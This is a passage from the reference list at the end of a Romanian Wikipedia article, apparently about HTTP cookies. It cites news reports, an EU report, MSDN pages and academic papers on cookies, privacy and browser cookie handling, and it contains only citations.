  8. ^ en CBS News. Știrea despre folosirea de cookie-uri de către CIA. 20 martie 2002.
  9. ^ en The Associated Press. Agenția de spionaj înlătură fișierele ilegale de urmărire. 29 decembrie 2005
  10. ^ en europa.eu.int Raport din decembrie 2004
  11. ^ en „Cum arată furtul cookie-urilor XSS” (fragment din Întrebări frecvente despre cross-site scripting)
  12. ^ en Introducere în mecanismul persistenței, MSDN
  13. ^ en Cum să stochezi proprietatea window.name și să o folosești din alt site Arhivat în , la Wayback Machine.
  14. ^ en John Schwartz. A da web-ului memorie înseamnă renunțarea la anonimitatea utilizatorilor. New York Times. 4 septembrie 2001
  15. ^ en Jay Kesan and Rajiv Shah. Shaping code Arhivat în , la Wayback Machine.. Capitolul II.B (cookie-urile Netscape).
  16. ^ en David Kristol. Cookie-uri HTTP: Standarde, protejarea informațiilor personale, politica de utlizare. ACM (Association for Computer Machinery) Transactions on Internet Technology, 1(2), 151 - 198, 2001.
  17. ^ en Istoria Internet Explorer
  18. ^ en cookie-uri în JavaScript
  19. ^ en Filtrarea cookie-urilor în Internet Explorer 6.

Legături externe

[modificare | modificare sursă]